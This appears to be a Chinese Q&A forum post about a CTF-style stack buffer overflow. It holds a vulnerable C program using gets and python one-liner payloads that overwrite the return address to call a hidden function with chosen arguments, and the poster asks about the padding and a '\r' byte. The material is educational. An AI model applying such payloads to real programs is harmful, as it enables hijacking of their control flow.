【发布时间】:2021-12-08 23:20:53
【问题描述】:
我正在关注堆栈上数组的缓冲区溢出的这篇文章,进行 ROP 攻击以调用通常不会被调用的函数。
共有三个功能。 vuln、flag 和 main.
main 只是调用 vuln,而 vuln 有一个 180 字节的 stackoverflow。
int main()
{
vuln();
}
void vuln()
{
char buf[180];
gets(buf);
}
flag 没有被调用,有两个参数:
void flag(int param1, int param2) { }
它存在于地址 0x080491e2。
flasg 可以通过溢出 180 的缓冲区 8 个额外的字节,然后添加 EIP 获得的地址来调用。
python -c "print('A'*188 + '\xe2\x91\x04\x08')"
到目前为止一切顺利,flag 被调用但没有参数。 要使用参数调用 flag,我们必须在 flag 的地址后添加 'A'*4 和两个整数值,它们之间有一个 '\r'。
python -c "print('A'*188 + '\xe2\x91\x04\x08'+'A'*4+'\xef\xbe\xad\xde\r\xd0\xde\xc0')"
我不明白为什么需要'A'*4,这里覆盖了哪些堆栈部分? 还有参数之间的 '\r',如果它不存在,它就不起作用。 '\r' 有什么作用?
【问题讨论】:
-
你不只是使用缓冲区溢出(或更具体地说是“堆栈缓冲区溢出”)来操作堆栈而不是堆栈溢出吗?
-
这取决于编译器如何选择布局
vuln()的堆栈帧,是否有任何填充对齐。也就是说,您需要查看 asm,而不是 C 源代码。 -
@StefanRiedel:是的,没错,这是堆栈上的缓冲区溢出,而不是堆栈溢出(您尝试使用更多堆栈空间超过堆栈增长限制,因此您会出现段错误,例如使用 alloca 或 VLA,或深度递归和/或大型本地数组)
标签: c assembly x86 buffer-overflow stack-memory